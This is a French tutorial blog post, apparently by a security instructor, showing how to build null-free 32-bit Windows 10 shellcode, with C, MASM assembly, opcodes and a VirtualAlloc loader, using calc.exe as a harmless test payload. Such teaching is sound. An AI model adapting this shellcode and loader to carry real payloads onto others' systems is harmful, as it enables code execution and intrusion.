Shellcode pour Windows 10
Divulgâchage : Parce qu’il n’y a pas que Linux dans la vie, on va se pencher sur Windows 10 pour un nouvel article sur la fabrication de shellcodes. On va tout d’abord écrire ce que l’on veut faire en C, puis passer par l’assembleur et enfin récupérer les opcodes. La différence entre Windows et Linux vient de l’utilisation des dll et non des appels système.
Je vous ai présenté récemment comment faire un shellcode 64 bits sous Linux, question tout droit sortie du cours que j’ai donné à l’INSA sur la sécurité des applications.
Chaque OS ayant ses subtilités, il est légitime de se demander ce qui aurait changé si on avait choisi Windows 10. Dans l’idée, en fait, pas grand chose. On a toujours des opcodes et on va toujours faire appel à des fonctions du noyau, mais la manière de faire va un tout petit peu changer.
Nous allons donc vous montrer l’élaboration d’un shellcode pour Windows. La démarche ne devrait pas changer mais en ce qui nous concerne, voici notre plateforme :
- Windows 10 Professionnel N 1809, version 17763.914 (10 décembre 2019)
- Visual Studio 2019.
Ce que l’on va faire
Comme pour notre shellcode sous Linux, je ne vais pas faire un vrai shellcode mais lancer une charge utile témoin. Si vous pouvez le faire, vous pourrez faire de vraies charges. Et dans le monde Windows, le témoin, souvent, c’est la calculatrice.
La cible
Bien qu’il soit tout à fait possible d’écrire directement en assembleur si vous en avez le courage, personnellement, je préfère commencer par écrire un code en C, qui me servira de cible. Ce bout de code définira exactement ce que je veux que mon shellcode fasse.
Puisque notre charge devra être exécutée dans un processus victime sur lequel nous n’avons que très peu d’hypothèses, pour simplifier les choses on va considérer que seule la DLL kernel32.dll est chargée en mémoire. Comme elle fourni les fonctions pour charger d’autres DLL et trouver l’adresse de leurs fonctions, c’est largement suffisant.
Nous allons donc faire appel aux fonctions
LoadLibraryA()
et GetProcAddress()
afin de
charger la fonction ShellExecuteA()
située dans
shell32.dll, puis appeler celle-ci afin de lancer
calc.exe
. Nous terminerons ensuite proprement le processeur
via un appel à ExitProcess()
.
LoadLibraryA
permet de charger une DLL.GetProcAddress
permet de récupérer l’adresse d’une fonction dans une DLL. Nous choisissons de lancer la fonctionShellExecuteA
, située dansl a DLLshell32.dll
. Cette fonction permet de lancer un exécutable, dans notre cas, la calculatricecalc.exe
.
Le programme suivant représente donc ce que nous souhaitons que notre shellcode fasse :
#include <windows.h>
int main()
{
= LoadLibraryA("shell32.dll");
HMODULE libname (libname, "ShellExecuteA");
GetProcAddress(NULL, "open", "calc.exe", NULL, NULL, 5);
ShellExecuteA(0);
ExitProcess}
La compilation
Vous pouvez générer la solution dans Visual Studio et utiliser le petit bouton vert « Débogueur Windows local » pour tester.
Vous verrez alors apparaître votre calculatrice.
Passer par l’assembleur
Comme la dernière fois, l’étape suivante consiste à le traduire en assembleur. Cette fois, nous nous heurtons aux deux problèmes suivants :
- récupérer l’adresse des fonctions
LoadLibraryA()
,GetProcAddress()
etExitProcess()
, - récupérer l’adresse des différentes chaînes de caractères.
Pour les linuxiens, la syntaxe assembleur utilisée dans les outils Windows est la syntaxe Intel. Entre autres petites spécificité, l’ordre des paramètres source/destination est inversé par rapport à la syntaxe AT&T à laquelle vous êtes habitués.
De même, nous utiliserons MASM directement dans visual studio et non NASM, qui nécessite d’installer d’autres outils de h4x0rs. La syntaxe ne change pas, mais il y a quelques subtilités pour la « décoration » (e.g signifier où est le point d’entrée).
Adresses des fonctions
En vrai, nous devrions récupérer les adresses des fonctions directement via le shellcode, mais comme c’est assez fastidieux, nous allons rester au plus simple pour l’instant, car le but ici est de comprendre comment faire un shellcode sous Windows, et effectuer ce genre de manipulations embrouillerait pour rien les choses.
Nous avons donc choisi de récupérer ces adresses une fois et ensuite, les coder en dur.
Ça marche parce que sur Windows, Kernel32.dll est toujours chargée au même endroit. L’adresse des fonctions ne dépend donc que de l’agencement de kernel32 (et autres petites subtilités d’une version à l’autre). Notre shellcode ne marchera donc que sur la version de Windows sur laquelle il a été fait.
Nous allons donc faire un programme dédié, en utilisant la fonction
GetProcAddress()
pour récupérer les adresses dont nous
avons besoin.
#include <Windows.h>
#include <stdio.h>
int main() {
= LoadLibrary(L"kernel32.dll");
HMODULE hModule
= GetProcAddress(hModule, "LoadLibraryA");
FARPROC func = GetProcAddress(hModule, "GetProcAddress");
FARPROC func2 = GetProcAddress(hModule, "ExitProcess");
FARPROC func3
("LoadLibraryA 0x%08x\n", (unsigned int)func);
printf("GetProcAddress 0x%08x\n", (unsigned int)func2);
printf("ExitProcess 0x%08x\n", (unsigned int)func3);
printf
(hModule);
FreeLibrary}
Une fois compilé et exécuté, il nous donne les adresses :
LoadLibraryA 0x74bf2280
GetProcAddress 0x74bf05a0
ExitProcess 0x74bf4f20
Adresses des chaînes de caractères
Il n’est pas forcément simple de stocker des chaînes de caractères et de récupérer leurs adresses dans un shellcode. Il existe différentes techniques possibles, mais celle que nous utiliserons pour notre shellcode est tirée de l’article mythique d’Aleph One : Smashing the Stack for Fun and Profit.
Après l’utilisation d’une instruction
call
, l’adresse de retour (l’instruction qui suivait lecall
) est stockée au sommet de la pile. Si, au lieu d’une instruction, on y place notre chaîne de caractère, le sommet de pile contiendra l’adresse de la chaîne.
Lorsque nous avons besoin de récupérer l’adresse d’une chaîne de
caractères, nous allons utiliser un jmp
pour sauter sur un
call
qui précède cette chaîne et nous renvoie à la
suite du jmp
.
Récupérer l’adresse de la chaîne « ma chaîne » se fera de la manière suivante :
jmp labeldata
labelcode:
pop ebx
; Reste du code
labeldata:
call labelcode
db "ma chaîne", 0
Nous utilisons ici des labels pour plus de lisibilité, mais en fait,
le compilateur va utiliser un saut relatif, en fournissant à
jmp
le nombre d’octets à sauter, et nous éviter le calcule
de la distance à la main.
En MASM, afin de garantir que la chaîne se finisse bien par le caractère 0, il faut ajouter
, 0
en fin de ligne.
Code final
Maintenant que l’on connaît l’adresse des fonctions que l’on souhaite appeler et comment récupérer l’adresse des différentes chaînes de caractère dont nous avons besoin, nous pouvons écrire notre code assembleur.
Bien que MASM soit installé avec Visual Studio par défaut, il n’est pas possible de créer un projet MASM via l’interface de création de projets. Or, nous avons justement besoin d’un projet MASM pour compiler et tester notre code.
Pour avoir un projet assembleur, nous devons donc faire les manipulations suivantes :
- Créer un projet vide dans Visual Studio,
- Cliquer droit sur le projet, puis dans dépendance de build/personnalisation de la build et sélectionner masm,
Ensuite, pour créer un fichier assembleur, il faut suivre les étapes suivantes :
- cliquer droit sur Fichiers sources, puis Ajouter/Nouvel élément,
- ajouter un fichier texte, en changeant l’extension en
.asm
.
Afin de comprendre le code suivant, voici quelques informations sur des directives propres à MASM :
.model flat, stdcall
: initialise le modèle de mémoire du programme et définit la convention d’appel. Ici, on suit les conventions standards,.code
: début du segment de code,mainCRTStartup PROC
: définit le point d’entrée.
Ces précisions étant faites, voici le code correspondant à notre cible :
, stdcall
.model flat
.code
mainCRTStartup PROC
jmp shell32_dll
loadlibraryA:
mov eax, 74bf2280h ;loadlibraryA
call eax
jmp shell_execute
GetProcAddress:
push eax
mov eax, 74bf05a0h ;GetProcAddress
call eax
jmp calc
ShellExecuteA1:
pop ebx
jmp open
ShellExecuteA2:
pop ecx
push 5
push 0
push 0
push ebx
push ecx
push 0
call eax ;ShellExecuteA
push 0
mov eax, 74bf4f20h ;ExitProcess
call eax
shell32_dll:
call loadlibraryA
db "Shell32.dll" ,0
shell_execute:
call GetProcAddress
db "ShellExecuteA", 0
calc:
call ShellExecuteA1
db "calc.exe", 0
open:
call ShellExecuteA2
db "open", 0
mainCRTStartup ENDPend
Opcode
Maintenant que nous avons notre code assembleur, la dernière étape est de traduire le tout en code machine.
Objdump
Il est possible de demander à Visual Studio d’observer le code machine lors d’une exécution, mais cela n’est franchement pas très lisible ni pratique… Comme pour Linux, je vais utiliser objdump, qu’on peut obtenir sous Windows via Mingw.
L’option -d
va désassembler le fichier objet passé en
paramètre pour qu’on puisse lire les opcodes en vis à vis du
code assembleur :
C:\MinGW\bin\objdump.exe -d C:\Users\corin\source\repos\shellcodeasm\shellcodeasm\Debug\shellcodeasm.obj: file format pe-i386
Disassembly of section .text$mn:
00000000 <_mainCRTStartup@0>:
0: eb 2c jmp 2e <shell32_dll>
00000002 <loadlibraryA>:
2: b8 80 22 bf 74 mov $0x74bf2280,%eax
7: ff d0 call *%eax
9: eb 34 jmp 3f <shell_execute>
0000000b <GetProcAddress>:
b: 50 push %eax
c: b8 a0 05 bf 74 mov $0x74bf05a0,%eax
11: ff d0 call *%eax
13: eb 3d jmp 52 <calc>
00000015 <ShellExecuteA1>:
15: 5b pop %ebx
16: eb 48 jmp 60 <open>
00000018 <ShellExecuteA2>:
18: 59 pop %ecx
19: 6a 05 push $0x5
1b: 6a 00 push $0x0
1d: 6a 00 push $0x0
1f: 53 push %ebx
20: 51 push %ecx
21: 6a 00 push $0x0
23: ff d0 call *%eax
25: 6a 00 push $0x0
27: b8 20 4f bf 74 mov $0x74bf4f20,%eax
2c: ff d0 call *%eax
0000002e <shell32_dll>:
2e: e8 cf ff ff ff call 2 <loadlibraryA>
33: 53 push %ebx
34: 68 65 6c 6c 33 push $0x336c6c65
39: 32 2e xor (%esi),%ch
3b: 64 6c fs insb (%dx),%es:(%edi)
3d: 6c insb (%dx),%es:(%edi)
...
0000003f <shell_execute>:
3f: e8 c7 ff ff ff call b <GetProcAddress>
44: 53 push %ebx
45: 68 65 6c 6c 45 push $0x456c6c65
4a: 78 65 js b1 <open+0x51>
4c: 63 75 74 arpl %si,0x74(%ebp)
4f: 65 41 gs inc %ecx
...
00000052 <calc>:
52: e8 be ff ff ff call 15 <ShellExecuteA1>
57: 63 61 6c arpl %sp,0x6c(%ecx)
5a: 63 2e arpl %bp,(%esi)
5c: 65 78 65 gs js c4 <open+0x64>
...
00000060 <open>:
60: e8 b3 ff ff ff call 18 <ShellExecuteA2>
65: 6f outsl %ds:(%esi),(%dx)
66: 70 65 jo cd <open+0x6d>
68: 6e outsb %ds:(%esi),(%dx)
...
objdump ne vous affichera pas le
0
de fin de chaîne, n’oubliez pas de le mettre.
Exécuter le shellcode
Pour le tester notre shellcode, nous allons, allouer une zone mémoire
exécutable avec VirtualAlloc()
, y copier le
shellcode avec memcpy()
puis l’appeler comme s’il
s’agissait d’une fonction comme une autre.
Notez qu’on aurait pu faire exactement pareil sous Linux avec
mmap()
mais nous avions préféré définir la pile comme étant exécutable.
Il est maintenant possible de tester le shellcode, via le petit programme suivant :
#include <windows.h>
int main(int argc, char** argv) {
char shellcode[] = {
0xeb, 0x2c, 0xb8, 0x80, 0x22, 0xbf, 0x74, 0xff, 0xd0, 0xeb,
0x34, 0x50, 0xb8, 0xa0, 0x05, 0xbf, 0x74, 0xff, 0xd0, 0xeb,
0x3d, 0x5b, 0xeb, 0x48, 0x59, 0x6a, 0x05, 0x6a, 0x00, 0x6a,
0x00, 0x53, 0x51, 0x6a, 0x00, 0xff, 0xd0, 0x6a, 0x00, 0xb8,
0x20, 0x4f, 0xbf, 0x74, 0xff, 0xd0, 0xe8, 0xcf, 0xff, 0xff,
0xff, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x33, 0x32, 0x2e, 0x64,
0x6c, 0x6c, 0x00, 0xe8, 0xc7, 0xff, 0xff, 0xff, 0x53, 0x68,
0x65, 0x6c, 0x6c, 0x45, 0x78, 0x65, 0x63, 0x75, 0x74, 0x65,
0x41, 0x00, 0xe8, 0xbe, 0xff, 0xff, 0xff, 0x63, 0x61, 0x6c,
0x63, 0x2e, 0x65, 0x78, 0x65, 0x00, 0xe8, 0xb3, 0xff, 0xff,
0xff, 0x6f, 0x70, 0x65, 0x6e, 0x00
};
void* exec = VirtualAlloc(
0,
sizeof shellcode,
,
MEM_COMMIT
PAGE_EXECUTE_READWRITE);
(exec, shellcode, sizeof shellcode);
memcpy
((void(*)())exec)();
}
Si vous lancez ce programme, il lancera la calculatrice. Bon, d’accord, les claviers ont parfois un raccourci pour ça, mais avouez que c’est quand même plus classe…
Supprimer les 0x00
Notre shellcode n’est pas fini. Il contient encore des
0x00
qui peuvent le tronquer lors d’une copie avec une
fonction comme strcpy()
. Pour chaque instruction
assembleur, il faut donc trouver une alternative.
Fabriquer les 0
L’instruction push 0
peut être adaptée facilement grâce
à un xor
:
xor edx, edx
push edx
Le 0
de fin de chaîne est plus problématique. La méthode
que nous allons utiliser est d’ajouter un caractère inutile en fin de
chaîne (par exemple Shell32.dllX
), puis de le remplacer par un 0.
Évidement, ce 0 sera calculé avec un xor…
; L'adresse de la chaine dans ebx
pop ebx
; 0 dans edx
xor edx, edx
; met un 0 au 12eme caractère
mov byte ptr [ebx + 11], dl
Code Assembleur
Avant de pouvoir tester notre nouvelle version du shellcode, il faut dire à l’éditeur de liens que nous avons besoin d’un segment de code modifiable, sinon, il sera impossible d’utiliser la technique précédente pour modifier notre chaîne de caractères et remplacer le 0.
Pour cela, clic-droit sur le projet, puis sur « propriétés », dans
« éditeur de liens/ligne de commande », coller la ligne
/SECTION:.text,rwe
.
Notre code assembleur final sera donc le suivant :
.model flat
.code
mainCRTStartup PROCjmp shell32_dll
loadlibraryA:
pop ebx
xor edx, edx
mov byte ptr [ebx + 11], dl
push ebx
mov eax, 74bf2280h
call eax ;loadlibraryA
jmp shell_execute
GetProcAddress:
pop ebx
xor edx, edx
mov byte ptr [ebx + 13], dl
push ebx
push eax
mov eax, 74bf05a0h
call eax ;GetProcAddress
jmp calc
ShellExecuteA1:
pop ebx
xor edx, edx
mov byte ptr [ebx + 8], dl
jmp open
ShellExecuteA2:
pop ecx
xor edx, edx
mov byte ptr [ecx + 4], dl
xor edx, edx
push 5
push edx
push edx
push ebx
push ecx
push edx
call eax ;ShellExecuteA
xor edx, edx
push edx
mov eax, 74bf4f20h
call eax ;ExitProcess
shell32_dll:
call loadlibraryA
db "Shell32.dllX"
shell_execute:
call GetProcAddress
db "ShellExecuteAX"
calc:
call ShellExecuteA1
db "calc.exeX"
open:
call ShellExecuteA2
db "openX"
mainCRTStartup ENDP
end
Exécuter le shellcode
En utilisant objdump, on vérifie qu’il ne reste plus de 0, et on note les opcodes. On peut ensuite le tester, comme précédemment :
#include <windows.h>
int main(int argc, char** argv) {
char shellcode[] = {
0xeb, 0x44, 0x5b, 0x33, 0xd2, 0x88, 0x53, 0x0b,
0x53, 0xb8, 0x80, 0x22, 0xbf, 0x74, 0xff, 0xd0,
0xeb, 0x45, 0x5b, 0x33, 0xd2, 0x88, 0x53, 0x0d,
0x53, 0x50, 0xb8, 0xa0, 0x05, 0xbf, 0x74, 0xff,
0xd0, 0xeb, 0x47, 0x5b, 0x33, 0xd2, 0x88, 0x53,
0x08, 0xeb, 0x4d, 0x59, 0x33, 0xd2, 0x88, 0x51,
0x04, 0x33, 0xd2, 0x6a, 0x05, 0x52, 0x52, 0x53,
0x51, 0x52, 0xff, 0xd0, 0x33, 0xd2, 0x52, 0xb8,
0x20, 0x4f, 0xbf, 0x74, 0xff, 0xd0, 0xe8, 0xb7,
0xff, 0xff, 0xff, 0x53, 0x68, 0x65, 0x6c, 0x6c,
0x33, 0x32, 0x2e, 0x64, 0x6c, 0x6c, 0x58, 0xe8,
0xb6, 0xff, 0xff, 0xff, 0x53, 0x68, 0x65, 0x6c,
0x6c, 0x45, 0x78, 0x65, 0x63, 0x75, 0x74, 0x65,
0x41, 0x58, 0xe8, 0xb4, 0xff, 0xff, 0xff, 0x63,
0x61, 0x6c, 0x63, 0x2e, 0x65, 0x78, 0x65, 0x58,
0xe8, 0xae, 0xff, 0xff, 0xff, 0x6f, 0x70, 0x65,
0x6e, 0x58
};
void* exec = VirtualAlloc(
0,
sizeof shellcode,
,
MEM_COMMIT
PAGE_EXECUTE_READWRITE);
(exec, shellcode, sizeof shellcode);
memcpy
((void(*)())exec)();
}
C’est voilà !!! Un shellcode tout beau tout propre, sans
0x00
!
Et après ?
Vous avez les billes pour débuter le shellcoding sous Windows. Récupérer l’adresse de DLL, de processus,… est une base qui vous permettra de construire n’importe quel shellcode.
Evidemment, l’étape d’après sera de se passer du hardcoding de l’adresse des fonctions…